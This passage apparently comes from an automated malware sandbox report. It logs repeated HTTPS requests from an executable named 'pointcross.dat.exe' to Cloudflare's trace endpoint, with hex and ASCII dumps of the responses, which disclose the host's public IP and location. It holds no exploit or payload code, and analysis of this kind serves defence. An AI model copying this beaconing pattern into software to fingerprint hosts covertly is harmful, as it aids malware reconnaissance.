              Host: cloudflare.com
              User-Agent: Go-http-client/1.1
              Accept-Encoding: gzip
              2023-11-27 09:13:02 UTC332INData Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 44 61 74 65 3a 20 4d 6f 6e 2c 20 32 37 20 4e 6f 76 20 32 30 32 33 20 30 39 3a 31 33 3a 30 31 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 70 6c 61 69 6e 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 4f 72 69 67 69 6e 3a 20 2a 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 32 63 39 34 30 62 62 34 61 62 61 32 34 32 33 2d 49 41 44 0d 0a 58 2d 46 72 61 6d 65 2d 4f 70 74 69 6f 6e 73 3a 20 44 45 4e 59 0d 0a 58 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2d 4f 70 74 69 6f 6e 73 3a
              Data Ascii: HTTP/1.1 200 OKDate: Mon, 27 Nov 2023 09:13:01 GMTContent-Type: text/plainTransfer-Encoding: chunkedConnection: closeAccess-Control-Allow-Origin: *Server: cloudflareCF-RAY: 82c940bb4aba2423-IADX-Frame-Options: DENYX-Content-Type-Options:
              2023-11-27 09:13:02 UTC223INData Raw: 64 39 0d 0a 66 6c 3d 36 30 31 66 31 34 37 0a 68 3d 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 0a 69 70 3d 38 39 2e 31 34 39 2e 31 38 2e 36 30 0a 74 73 3d 31 37 30 31 30 37 36 33 38 31 2e 39 36 37 0a 76 69 73 69 74 5f 73 63 68 65 6d 65 3d 68 74 74 70 73 0a 75 61 67 3d 47 6f 2d 68 74 74 70 2d 63 6c 69 65 6e 74 2f 31 2e 31 0a 63 6f 6c 6f 3d 49 41 44 0a 73 6c 69 76 65 72 3d 30 30 35 2d 74 69 65 72 31 0a 68 74 74 70 3d 68 74 74 70 2f 31 2e 31 0a 6c 6f 63 3d 55 53 0a 74 6c 73 3d 54 4c 53 76 31 2e 33 0a 73 6e 69 3d 70 6c 61 69 6e 74 65 78 74 0a 77 61 72 70 3d 6f 66 66 0a 67 61 74 65 77 61 79 3d 6f 66 66 0a 72 62 69 3d 6f 66 66 0a 6b 65 78 3d 58 32 35 35 31 39 0a 0d 0a
              Data Ascii: d9fl=601f147h=cloudflare.comip=89.149.18.60ts=1701076381.967visit_scheme=httpsuag=Go-http-client/1.1colo=IADsliver=005-tier1http=http/1.1loc=UStls=TLSv1.3sni=plaintextwarp=offgateway=offrbi=offkex=X25519
              2023-11-27 09:13:02 UTC5INData Raw: 30 0d 0a 0d 0a
              Data Ascii: 0


              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
              17192.168.2.449755104.16.133.2294436684C:\Users\user\Desktop\pointcross.dat.exe
              TimestampBytes transferredDirectionData
              2023-11-27 09:13:05 UTC108OUTGET /cdn-cgi/trace HTTP/1.1
              Host: cloudflare.com
              User-Agent: Go-http-client/1.1
              Accept-Encoding: gzip
              2023-11-27 09:13:06 UTC332INData Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 44 61 74 65 3a 20 4d 6f 6e 2c 20 32 37 20 4e 6f 76 20 32 30 32 33 20 30 39 3a 31 33 3a 30 36 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 70 6c 61 69 6e 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 4f 72 69 67 69 6e 3a 20 2a 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 32 63 39 34 30 64 35 35 61 32 63 30 35 38 63 2d 49 41 44 0d 0a 58 2d 46 72 61 6d 65 2d 4f 70 74 69 6f 6e 73 3a 20 44 45 4e 59 0d 0a 58 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2d 4f 70 74 69 6f 6e 73 3a
              Data Ascii: HTTP/1.1 200 OKDate: Mon, 27 Nov 2023 09:13:06 GMTContent-Type: text/plainTransfer-Encoding: chunkedConnection: closeAccess-Control-Allow-Origin: *Server: cloudflareCF-RAY: 82c940d55a2c058c-IADX-Frame-Options: DENYX-Content-Type-Options:
              2023-11-27 09:13:06 UTC217INData Raw: 64 33 0d 0a 66 6c 3d 35 37 32 66 32 38 0a 68 3d 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 0a 69 70 3d 38 39 2e 31 34 39 2e 31 38 2e 36 30 0a 74 73 3d 31 37 30 31 30 37 36 33 38 36 2e 31 33 35 0a 76 69 73 69 74 5f 73 63 68 65 6d 65 3d 68 74 74 70 73 0a 75 61 67 3d 47 6f 2d 68 74 74 70 2d 63 6c 69 65 6e 74 2f 31 2e 31 0a 63 6f 6c 6f 3d 49 41 44 0a 73 6c 69 76 65 72 3d 6e 6f 6e 65 0a 68 74 74 70 3d 68 74 74 70 2f 31 2e 31 0a 6c 6f 63 3d 55 53 0a 74 6c 73 3d 54 4c 53 76 31 2e 33 0a 73 6e 69 3d 70 6c 61 69 6e 74 65 78 74 0a 77 61 72 70 3d 6f 66 66 0a 67 61 74 65 77 61 79 3d 6f 66 66 0a 72 62 69 3d 6f 66 66 0a 6b 65 78 3d 58 32 35 35 31 39 0a 0d 0a
              Data Ascii: d3fl=572f28h=cloudflare.comip=89.149.18.60ts=1701076386.135visit_scheme=httpsuag=Go-http-client/1.1colo=IADsliver=nonehttp=http/1.1loc=UStls=TLSv1.3sni=plaintextwarp=offgateway=offrbi=offkex=X25519
              2023-11-27 09:13:06 UTC5INData Raw: 30 0d 0a 0d 0a
              Data Ascii: 0


              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
              18192.168.2.449756104.16.133.2294436684C:\Users\user\Desktop\pointcross.dat.exe
              TimestampBytes transferredDirectionData
              2023-11-27 09:13:09 UTC108OUTGET /cdn-cgi/trace HTTP/1.1
              Host: cloudflare.com
              User-Agent: Go-http-client/1.1
              Accept-Encoding: gzip
              2023-11-27 09:13:10 UTC332INData Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 44 61 74 65 3a 20 4d 6f 6e 2c 20 32 37 20 4e 6f 76 20 32 30 32 33 20 30 39 3a 31 33 3a 31 30 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 70 6c 61 69 6e 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 4f 72 69 67 69 6e 3a 20 2a 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 32 63 39 34 30 65 65 31 39 61 38 32 30 36 61 2d 49 41 44 0d 0a 58 2d 46 72 61 6d 65 2d 4f 70 74 69 6f 6e 73 3a 20 44 45 4e 59 0d 0a 58 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2d 4f 70 74 69 6f 6e 73 3a
              Data Ascii: HTTP/1.1 200 OKDate: Mon, 27 Nov 2023 09:13:10 GMTContent-Type: text/plainTransfer-Encoding: chunkedConnection: closeAccess-Control-Allow-Origin: *Server: cloudflareCF-RAY: 82c940ee19a8206a-IADX-Frame-Options: DENYX-Content-Type-Options:
              2023-11-27 09:13:10 UTC215INData Raw: 64 31 0d 0a 66 6c 3d 36 30 31 66 37 35 0a 68 3d 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 0a 69 70 3d 38 39 2e 31 34 39 2e 31 38 2e 36 30 0a 74 73 3d 31 37 30 31 30 37 36 33 39 30 2e 31 0a 76 69 73 69 74 5f 73 63 68 65 6d 65 3d 68 74 74 70 73 0a 75 61 67 3d 47 6f 2d 68 74 74 70 2d 63 6c 69 65 6e 74 2f 31 2e 31 0a 63 6f 6c 6f 3d 49 41 44 0a 73 6c 69 76 65 72 3d 6e 6f 6e 65 0a 68 74 74 70 3d 68 74 74 70 2f 31 2e 31 0a 6c 6f 63 3d 55 53 0a 74 6c 73 3d 54 4c 53 76 31 2e 33 0a 73 6e 69 3d 70 6c 61 69 6e 74 65 78 74 0a 77 61 72 70 3d 6f 66 66 0a 67 61 74 65 77 61 79 3d 6f 66 66 0a 72 62 69 3d 6f 66 66 0a 6b 65 78 3d 58 32 35 35 31 39 0a 0d 0a
              Data Ascii: d1fl=601f75h=cloudflare.comip=89.149.18.60ts=1701076390.1visit_scheme=httpsuag=Go-http-client/1.1colo=IADsliver=nonehttp=http/1.1loc=UStls=TLSv1.3sni=plaintextwarp=offgateway=offrbi=offkex=X25519
              2023-11-27 09:13:10 UTC5INData Raw: 30 0d 0a 0d 0a
              Data Ascii: 0


              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
              19192.168.2.449757104.16.133.2294436684C:\Users\user\Desktop\pointcross.dat.exe
              TimestampBytes transferredDirectionData
              2023-11-27 09:13:13 UTC108OUTGET /cdn-cgi/trace HTTP/1.1
              Host: cloudflare.com
              User-Agent: Go-http-client/1.1
              Accept-Encoding: gzip
              2023-11-27 09:13:14 UTC332INData Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 44 61 74 65 3a 20 4d 6f 6e 2c 20 32 37 20 4e 6f 76 20 32 30 32 33 20 30 39 3a 31 33 3a 31 34 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 70 6c 61 69 6e 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 4f 72 69 67 69 6e 3a 20 2a 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 32 63 39 34 31 30 36 66 65 62 33 30 35 63 39 2d 49 41 44 0d 0a 58 2d 46 72 61 6d 65 2d 4f 70 74 69 6f 6e 73 3a 20 44 45 4e 59 0d 0a 58 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2d 4f 70 74 69 6f 6e 73 3a
              Data Ascii: HTTP/1.1 200 OKDate: Mon, 27 Nov 2023 09:13:14 GMTContent-Type: text/plainTransfer-Encoding: chunkedConnection: closeAccess-Control-Allow-Origin: *Server: cloudflareCF-RAY: 82c94106feb305c9-IADX-Frame-Options: DENYX-Content-Type-Options:
              2023-11-27 09:13:14 UTC217INData Raw: 64 33 0d 0a 66 6c 3d 35 37 32 66 37 31 0a 68 3d 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 0a 69 70 3d 38 39 2e 31 34 39 2e 31 38 2e 36 30 0a 74 73 3d 31 37 30 31 30 37 36 33 39 34 2e 30 37 38 0a 76 69 73 69 74 5f 73 63 68 65 6d 65 3d 68 74 74 70 73 0a 75 61 67 3d 47 6f 2d 68 74 74 70 2d 63 6c 69 65 6e 74 2f 31 2e 31 0a 63 6f 6c 6f 3d 49 41 44 0a 73 6c 69 76 65 72 3d 6e 6f 6e 65 0a 68 74 74 70 3d 68 74 74 70 2f 31 2e 31 0a 6c 6f 63 3d 55 53 0a 74 6c 73 3d 54 4c 53 76 31 2e 33 0a 73 6e 69 3d 70 6c 61 69 6e 74 65 78 74 0a 77 61 72 70 3d 6f 66 66 0a 67 61 74 65 77 61 79 3d 6f 66 66 0a 72 62 69 3d 6f 66 66 0a 6b 65 78 3d 58 32 35 35 31 39 0a 0d 0a
              Data Ascii: d3fl=572f71h=cloudflare.comip=89.149.18.60ts=1701076394.078visit_scheme=httpsuag=Go-http-client/1.1colo=IADsliver=nonehttp=http/1.1loc=UStls=TLSv1.3sni=plaintextwarp=offgateway=offrbi=offkex=X25519
              2023-11-27 09:13:14 UTC5INData Raw: 30 0d 0a 0d 0a
              Data Ascii: 0


              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
              20192.168.2.449758104.16.133.2294436684C:\Users\user\Desktop\pointcross.dat.exe
              TimestampBytes transferredDirectionData
              2023-11-27 09:13:17 UTC108OUTGET /cdn-cgi/trace HTTP/1.1
              Host: cloudflare.com
              User-Agent: Go-http-client/1.1
              Accept-Encoding: gzip
              2023-11-27 09:13:18 UTC332INData Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 44 61 74 65 3a 20 4d 6f 6e 2c 20 32 37 20 4e 6f 76 20 32 30 32 33 20 30 39 3a 31 33 3a 31 38 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 70 6c 61 69 6e 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 4f 72 69 67 69 6e 3a 20 2a 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 32 63 39 34 31 31 66 63 61 34 65 33 38 38 62 2d 49 41 44 0d 0a 58 2d 46 72 61 6d 65 2d 4f 70 74 69 6f 6e 73 3a 20 44 45 4e 59 0d 0a 58 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2d 4f 70 74 69 6f 6e 73 3a
              Data Ascii: HTTP/1.1 200 OKDate: Mon, 27 Nov 2023 09:13:18 GMTContent-Type: text/plainTransfer-Encoding: chunkedConnection: closeAccess-Control-Allow-Origin: *Server: cloudflareCF-RAY: 82c9411fca4e388b-IADX-Frame-Options: DENYX-Content-Type-Options:
              2023-11-27 09:13:18 UTC217INData Raw: 64 33 0d 0a 66 6c 3d 36 32 36 66 31 32 0a 68 3d 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 0a 69 70 3d 38 39 2e 31 34 39 2e 31 38 2e 36 30 0a 74 73 3d 31 37 30 31 30 37 36 33 39 38 2e 30 34 38 0a 76 69 73 69 74 5f 73 63 68 65 6d 65 3d 68 74 74 70 73 0a 75 61 67 3d 47 6f 2d 68 74 74 70 2d 63 6c 69 65 6e 74 2f 31 2e 31 0a 63 6f 6c 6f 3d 49 41 44 0a 73 6c 69 76 65 72 3d 6e 6f 6e 65 0a 68 74 74 70 3d 68 74 74 70 2f 31 2e 31 0a 6c 6f 63 3d 55 53 0a 74 6c 73 3d 54 4c 53 76 31 2e 33 0a 73 6e 69 3d 70 6c 61 69 6e 74 65 78 74 0a 77 61 72 70 3d 6f 66 66 0a 67 61 74 65 77 61 79 3d 6f 66 66 0a 72 62 69 3d 6f 66 66 0a 6b 65 78 3d 58 32 35 35 31 39 0a 0d 0a
              Data Ascii: d3fl=626f12h=cloudflare.comip=89.149.18.60ts=1701076398.048visit_scheme=httpsuag=Go-http-client/1.1colo=IADsliver=nonehttp=http/1.1loc=UStls=TLSv1.3sni=plaintextwarp=offgateway=offrbi=offkex=X25519
              2023-11-27 09:13:18 UTC5INData Raw: 30 0d 0a 0d 0a
              Data Ascii: 0


              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
              21192.168.2.449759104.16.133.2294436684C:\Users\user\Desktop\pointcross.dat.exe
              TimestampBytes transferredDirectionData
              2023-11-27 09:13:22 UTC108OUTGET /cdn-cgi/trace HTTP/1.1
              Host: cloudflare.com
              User-Agent: Go-http-client/1.1
              Accept-Encoding: gzip
              2023-11-27 09:13:22 UTC332INData Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 44 61 74 65 3a 20 4d 6f 6e 2c 20 32 37 20 4e 6f 76 20 32 30 32 33 20 30 39 3a 31 33 3a 32 32 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 70 6c 61 69 6e 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 4f 72 69 67 69 6e 3a 20 2a 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 32 63 39 34 31 33 39 65 38 31 37 35 38 38 61 2d 49 41 44 0d 0a 58 2d 46 72 61 6d 65 2d 4f 70 74 69 6f 6e 73 3a 20 44 45 4e 59 0d 0a 58 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2d 4f 70 74 69 6f 6e 73 3a
              Data Ascii: HTTP/1.1 200 OKDate: Mon, 27 Nov 2023 09:13:22 GMTContent-Type: text/plainTransfer-Encoding: chunkedConnection: closeAccess-Control-Allow-Origin: *Server: cloudflareCF-RAY: 82c94139e817588a-IADX-Frame-Options: DENYX-Content-Type-Options:
              2023-11-27 09:13:22 UTC217INData Raw: 64 33 0d 0a 66 6c 3d 33 35 34 66 38 35 0a 68 3d 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 0a 69 70 3d 38 39 2e 31 34 39 2e 31 38 2e 36 30 0a 74 73 3d 31 37 30 31 30 37 36 34 30 32 2e 32 32 36 0a 76 69 73 69 74 5f 73 63 68 65 6d 65 3d 68 74 74 70 73 0a 75 61 67 3d 47 6f 2d 68 74 74 70 2d 63 6c 69 65 6e 74 2f 31 2e 31 0a 63 6f 6c 6f 3d 49 41 44 0a 73 6c 69 76 65 72 3d 6e 6f 6e 65 0a 68 74 74 70 3d 68 74 74 70 2f 31 2e 31 0a 6c 6f 63 3d 55 53 0a 74 6c 73 3d 54 4c 53 76 31 2e 33 0a 73 6e 69 3d 70 6c 61 69 6e 74 65 78 74 0a 77 61 72 70 3d 6f 66 66 0a 67 61 74 65 77 61 79 3d 6f 66 66 0a 72 62 69 3d 6f 66 66 0a 6b 65 78 3d 58 32 35 35 31 39 0a 0d 0a
              Data Ascii: d3fl=354f85h=cloudflare.comip=89.149.18.60ts=1701076402.226visit_scheme=httpsuag=Go-http-client/1.1colo=IADsliver=nonehttp=http/1.1loc=UStls=TLSv1.3sni=plaintextwarp=offgateway=offrbi=offkex=X25519
              2023-11-27 09:13:22 UTC5INData Raw: 30 0d 0a 0d 0a
              Data Ascii: 0


              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
              22192.168.2.449760104.16.133.2294436684C:\Users\user\Desktop\pointcross.dat.exe
              TimestampBytes transferredDirectionData
              2023-11-27 09:13:25 UTC108OUTGET /cdn-cgi/trace HTTP/1.1
              Host: cloudflare.com
              User-Agent: Go-http-client/1.1
              Accept-Encoding: gzip
              2023-11-27 09:13:26 UTC332INData Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 44 61 74 65 3a 20 4d 6f 6e 2c 20 32 37 20 4e 6f 76 20 32 30 32 33 20 30 39 3a 31 33 3a 32 36 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 70 6c 61 69 6e 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 4f 72 69 67 69 6e 3a 20 2a 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 32 63 39 34 31 35 32 62 61 36 63 31 37 36 65 2d 49 41 44 0d 0a 58 2d 46 72 61 6d 65 2d 4f 70 74 69 6f 6e 73 3a 20 44 45 4e 59 0d 0a 58 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2d 4f 70 74 69 6f 6e 73 3a
              Data Ascii: HTTP/1.1 200 OKDate: Mon, 27 Nov 2023 09:13:26 GMTContent-Type: text/plainTransfer-Encoding: chunkedConnection: closeAccess-Control-Allow-Origin: *Server: cloudflareCF-RAY: 82c94152ba6c176e-IADX-Frame-Options: DENYX-Content-Type-Options:
              2023-11-27 09:13:26 UTC218INData Raw: 64 34 0d 0a 66 6c 3d 31 36 66 31 31 35 35 0a 68 3d 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 0a 69 70 3d 38 39 2e 31 34 39 2e 31 38 2e 36 30 0a 74 73 3d 31 37 30 31 30 37 36 34 30 36 2e 31 39 37 0a 76 69 73 69 74 5f 73 63 68 65 6d 65 3d 68 74 74 70 73 0a 75 61 67 3d 47 6f 2d 68 74 74 70 2d 63 6c 69 65 6e 74 2f 31 2e 31 0a 63 6f 6c 6f 3d 49 41 44 0a 73 6c 69 76 65 72 3d 6e 6f 6e 65 0a 68 74 74 70 3d 68 74 74 70 2f 31 2e 31 0a 6c 6f 63 3d 55 53 0a 74 6c 73 3d 54 4c 53 76 31 2e 33 0a 73 6e 69 3d 70 6c 61 69 6e 74 65 78 74 0a 77 61 72 70 3d 6f 66 66 0a 67 61 74 65 77 61 79 3d 6f 66 66 0a 72 62 69 3d 6f 66 66 0a 6b 65 78 3d 58 32 35 35 31 39 0a 0d 0a
              Data Ascii: d4fl=16f1155h=cloudflare.comip=89.149.18.60ts=1701076406.197visit_scheme=httpsuag=Go-http-client/1.1colo=IADsliver=nonehttp=http/1.1loc=UStls=TLSv1.3sni=plaintextwarp=offgateway=offrbi=offkex=X25519
              2023-11-27 09:13:26 UTC5INData Raw: 30 0d 0a 0d 0a
              Data Ascii: 0


              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
              23192.168.2.449761104.16.133.2294436684C:\Users\user\Desktop\pointcross.dat.exe
              TimestampBytes transferredDirectionData
              2023-11-27 09:13:29 UTC108OUTGET /cdn-cgi/trace HTTP/1.1
              Host: cloudflare.com
              User-Agent: Go-http-client/1.1
              Accept-Encoding: gzip
              2023-11-27 09:13:30 UTC332INData Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 44 61 74 65 3a 20 4d 6f 6e 2c 20 32 37 20 4e 6f 76 20 32 30 32 33 20 30 39 3a 31 33 3a 33 30 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 70 6c 61 69 6e 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 4f 72 69 67 69 6e 3a 20 2a 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 32 63 39 34 31 36 62 39 66 65 62 30 35 38 31 2d 49 41 44 0d 0a 58 2d 46 72 61 6d 65 2d 4f 70 74 69 6f 6e 73 3a 20 44 45 4e 59 0d 0a 58 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2d 4f 70 74 69 6f 6e 73 3a
              Data Ascii: HTTP/1.1 200 OKDate: Mon, 27 Nov 2023 09:13:30 GMTContent-Type: text/plainTransfer-Encoding: chunkedConnection: closeAccess-Control-Allow-Origin: *Server: cloudflareCF-RAY: 82c9416b9feb0581-IADX-Frame-Options: DENYX-Content-Type-Options:
              2023-11-27 09:13:30 UTC217INData Raw: 64 33 0d 0a 66 6c 3d 35 37 32 66 32 30 0a 68 3d 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 0a 69 70 3d 38 39 2e 31 34 39 2e 31 38 2e 36 30 0a 74 73 3d 31 37 30 31 30 37 36 34 31 30 2e 31 37 36 0a 76 69 73 69 74 5f 73 63 68 65 6d 65 3d 68 74 74 70 73 0a 75 61 67 3d 47 6f 2d 68 74 74 70 2d 63 6c 69 65 6e 74 2f 31 2e 31 0a 63 6f 6c 6f 3d 49 41 44 0a 73 6c 69 76 65 72 3d 6e 6f 6e 65 0a 68 74 74 70 3d 68 74 74 70 2f 31 2e 31 0a 6c 6f 63 3d 55 53 0a 74 6c 73 3d 54 4c 53 76 31 2e 33 0a 73 6e 69 3d 70 6c 61 69 6e 74 65 78 74 0a 77 61 72 70 3d 6f 66 66 0a 67 61 74 65 77 61 79 3d 6f 66 66 0a 72 62 69 3d 6f 66 66 0a 6b 65 78 3d 58 32 35 35 31 39 0a 0d 0a
              Data Ascii: d3fl=572f20h=cloudflare.comip=89.149.18.60ts=1701076410.176visit_scheme=httpsuag=Go-http-client/1.1colo=IADsliver=nonehttp=http/1.1loc=UStls=TLSv1.3sni=plaintextwarp=offgateway=offrbi=offkex=X25519
              2023-11-27 09:13:30 UTC5INData Raw: 30 0d 0a 0d 0a
              Data Ascii: 0


              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
              24192.168.2.449762104.16.133.2294436684C:\Users\user\Desktop\pointcross.dat.exe
              TimestampBytes transferredDirectionData
              2023-11-27 09:13:33 UTC108OUTGET /cdn-cgi/trace HTTP/1.1
              Host: cloudflare.com
              User-Agent: Go-http-client/1.1
              Accept-Encoding: gzip
              2023-11-27 09:13:34 UTC332INData Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 44 61 74 65 3a 20 4d 6f 6e 2c 20 32 37 20 4e 6f 76 20 32 30 32 33 20 30 39 3a 31 33 3a 33 34 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 70 6c 61 69 6e 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 4f 72 69 67 69 6e 3a 20 2a 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 32 63 39 34 31 38 34 36 62 63 64 30 35 65 33 2d 49 41 44 0d 0a 58 2d 46 72 61 6d 65 2d 4f 70 74 69 6f 6e 73 3a 20 44 45 4e 59 0d 0a 58 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2d 4f 70 74 69 6f 6e 73 3a
              Data Ascii: HTTP/1.1 200 OKDate: Mon, 27 Nov 2023 09:13:34 GMTContent-Type: text/plainTransfer-Encoding: chunkedConnection: closeAccess-Control-Allow-Origin: *Server: cloudflareCF-RAY: 82c941846bcd05e3-IADX-Frame-Options: DENYX-Content-Type-Options:
              2023-11-27 09:13:34 UTC217INData Raw: 64 33 0d 0a 66 6c 3d 35 37 33 66 31 30 0a 68 3d 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 0a 69 70 3d 38 39 2e 31 34 39 2e 31 38 2e 36 30 0a 74 73 3d 31 37 30 31 30 37 36 34 31 34 2e 31 34 34 0a 76 69 73 69 74 5f 73 63 68 65 6d 65 3d 68 74 74 70 73 0a 75 61 67 3d 47 6f 2d 68 74 74 70 2d 63 6c 69 65 6e 74 2f 31 2e 31 0a 63 6f 6c 6f 3d 49 41 44 0a 73 6c 69 76 65 72 3d 6e 6f 6e 65 0a 68 74 74 70 3d 68 74 74 70 2f 31 2e 31 0a 6c 6f 63 3d 55 53 0a 74 6c 73 3d 54 4c 53 76 31 2e 33 0a 73 6e 69 3d 70 6c 61 69 6e 74 65 78 74 0a 77 61 72 70 3d 6f 66 66 0a 67 61 74 65 77 61 79 3d 6f 66 66 0a 72 62 69 3d 6f 66 66 0a 6b 65 78 3d 58 32 35 35 31 39 0a 0d 0a
              Data Ascii: d3fl=573f10h=cloudflare.comip=89.149.18.60ts=1701076414.144visit_scheme=httpsuag=Go-http-client/1.1colo=IADsliver=nonehttp=http/1.1loc=UStls=TLSv1.3sni=plaintextwarp=offgateway=offrbi=offkex=X25519
              2023-11-27 09:13:34 UTC5INData Raw: 30 0d 0a 0d 0a
              Data Ascii: 0


              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
              25192.168.2.449763104.16.133.2294436684C:\Users\user\Desktop\pointcross.dat.exe
              TimestampBytes transferredDirectionData
